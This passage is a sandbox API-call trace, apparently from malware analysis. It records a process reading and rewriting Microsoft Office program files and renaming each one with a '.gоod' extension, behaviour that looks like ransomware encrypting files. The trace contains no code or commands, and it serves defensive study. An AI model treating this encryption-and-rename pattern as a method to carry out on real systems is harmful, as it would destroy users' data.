lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE", lpFilePart=0x0) returned 0x3a [0139.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE.gоod", lpFilePart=0x0) returned 0x3f [0139.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0139.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4f223712, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf370d0)) returned 1 [0139.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0139.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe.gоod")) returned 1 [0139.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x51 [0139.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0139.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x39f82b8 | out: lpFileInformation=0x39f82b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x154)) returned 1 [0139.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0139.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x51 [0139.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0139.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.116] GetFileType (hFile=0x618) returned 0x1 [0139.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0139.116] GetFileType (hFile=0x618) returned 0x1 [0139.116] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x154 [0139.117] ReadFile (in: hFile=0x618, lpBuffer=0x39f8738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x39f8738*, lpNumberOfBytesRead=0x1f59e768*=0x154, lpOverlapped=0x0) returned 1 [0139.251] CloseHandle (hObject=0x618) returned 1 [0139.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x51 [0139.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0139.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.289] GetFileType (hFile=0x618) returned 0x1 [0139.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0139.289] GetFileType (hFile=0x618) returned 0x1 [0139.289] WriteFile (in: hFile=0x618, lpBuffer=0x39744e0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x39744e0*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0139.290] CloseHandle (hObject=0x618) returned 1 [0139.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x51 [0139.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x56 [0139.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0139.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4f3c70c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0139.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0139.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.visualelementsmanifest.xml.gоod")) returned 1 [0139.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", lpFilePart=0x0) returned 0x42 [0139.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0139.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml"), fInfoLevelId=0x0, lpFileInformation=0x3975808 | out: lpFileInformation=0x3975808*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f2f)) returned 1 [0139.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0139.915] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", lpFilePart=0x0) returned 0x42 [0139.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.915] GetFileType (hFile=0x618) returned 0x1 [0139.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.915] GetFileType (hFile=0x618) returned 0x1 [0139.915] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0139.915] ReadFile (in: hFile=0x618, lpBuffer=0x3a94ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3a94ea8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0139.917] CloseHandle (hObject=0x618) returned 1 [0139.917] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", lpFilePart=0x0) returned 0x42 [0139.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.917] GetFileType (hFile=0x618) returned 0x1 [0139.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.917] GetFileType (hFile=0x618) returned 0x1 [0139.917] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x2f2f [0139.917] WriteFile (in: hFile=0x618, lpBuffer=0x3a962b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3a962b0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0139.918] CloseHandle (hObject=0x618) returned 1 [0139.918] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", lpFilePart=0x0) returned 0x42 [0139.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.918] GetFileType (hFile=0x618) returned 0x1 [0139.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.918] GetFileType (hFile=0x618) returned 0x1 [0139.919] ReadFile (in: hFile=0x618, lpBuffer=0x3a996a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3a996a0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0139.977] CloseHandle (hObject=0x618) returned 1 [0139.977] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", lpFilePart=0x0) returned 0x42 [0139.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.977] GetFileType (hFile=0x618) returned 0x1 [0139.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.977] GetFileType (hFile=0x618) returned 0x1 [0139.977] WriteFile (in: hFile=0x618, lpBuffer=0x3a983f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3a983f8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0139.977] CloseHandle (hObject=0x618) returned 1 [0139.977] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml", lpFilePart=0x0) returned 0x42 [0139.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml.gоod", lpFilePart=0x0) returned 0x47 [0139.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0139.978] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4fa685ad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f3f)) returned 1 [0139.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0139.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\headerpatterns.xml.gоod")) returned 1 [0139.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", lpFilePart=0x0) returned 0x44 [0139.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0139.979] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\iecontentservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x3916ba8 | out: lpFileInformation=0x3916ba8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee295a70, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0f0)) returned 1 [0139.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0139.979] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", lpFilePart=0x0) returned 0x44 [0139.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\iecontentservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.979] GetFileType (hFile=0x618) returned 0x1 [0139.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.979] GetFileType (hFile=0x618) returned 0x1 [0139.979] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0139.979] ReadFile (in: hFile=0x618, lpBuffer=0x3916fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3916fe0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0139.980] CloseHandle (hObject=0x618) returned 1 [0139.980] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", lpFilePart=0x0) returned 0x44 [0139.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\iecontentservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.981] GetFileType (hFile=0x618) returned 0x1 [0139.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.981] GetFileType (hFile=0x618) returned 0x1 [0139.981] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x3c0f0 [0139.981] WriteFile (in: hFile=0x618, lpBuffer=0x3918288*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3918288*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0139.982] CloseHandle (hObject=0x618) returned 1 [0139.982] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", lpFilePart=0x0) returned 0x44 [0139.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0139.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\iecontentservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0139.982] GetFileType (hFile=0x618) returned 0x1 [0139.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0139.982] GetFileType (hFile=0x618) returned 0x1 [0139.982] ReadFile (in: hFile=0x618, lpBuffer=0x391a558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x391a558*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0140.244] CloseHandle (hObject=0x618) returned 1 [0140.244] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", lpFilePart=0x0) returned 0x44 [0140.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\iecontentservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.244] GetFileType (hFile=0x618) returned 0x1 [0140.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.244] GetFileType (hFile=0x618) returned 0x1 [0140.244] WriteFile (in: hFile=0x618, lpBuffer=0x3507388*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3507388*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0140.245] CloseHandle (hObject=0x618) returned 1 [0140.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe", lpFilePart=0x0) returned 0x44 [0140.245] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe.gоod", lpFilePart=0x0) returned 0x49 [0140.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0140.245] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\iecontentservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4fcf0dd7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c100)) returned 1 [0140.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0140.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\iecontentservice.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\iecontentservice.exe.gоod")) returned 1 [0140.246] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", lpFilePart=0x0) returned 0x3f [0140.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0140.246] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\interceptor.tlb"), fInfoLevelId=0x0, lpFileInformation=0x3918458 | out: lpFileInformation=0x3918458*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2b97d2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2b97d2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2d87bf9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb60)) returned 1 [0140.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0140.246] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", lpFilePart=0x0) returned 0x3f [0140.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\interceptor.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.247] GetFileType (hFile=0x618) returned 0x1 [0140.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0140.247] GetFileType (hFile=0x618) returned 0x1 [0140.247] SetFilePointer (in: hFile=0x618, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0140.247] ReadFile (in: hFile=0x618, lpBuffer=0x3918850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3918850*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0140.248] CloseHandle (hObject=0x618) returned 1 [0140.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb", lpFilePart=0x0) returned 0x3f [0140.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0140.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb" (normalized: "c:\\program files\\microsoft office\\root\\office16\\interceptor.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 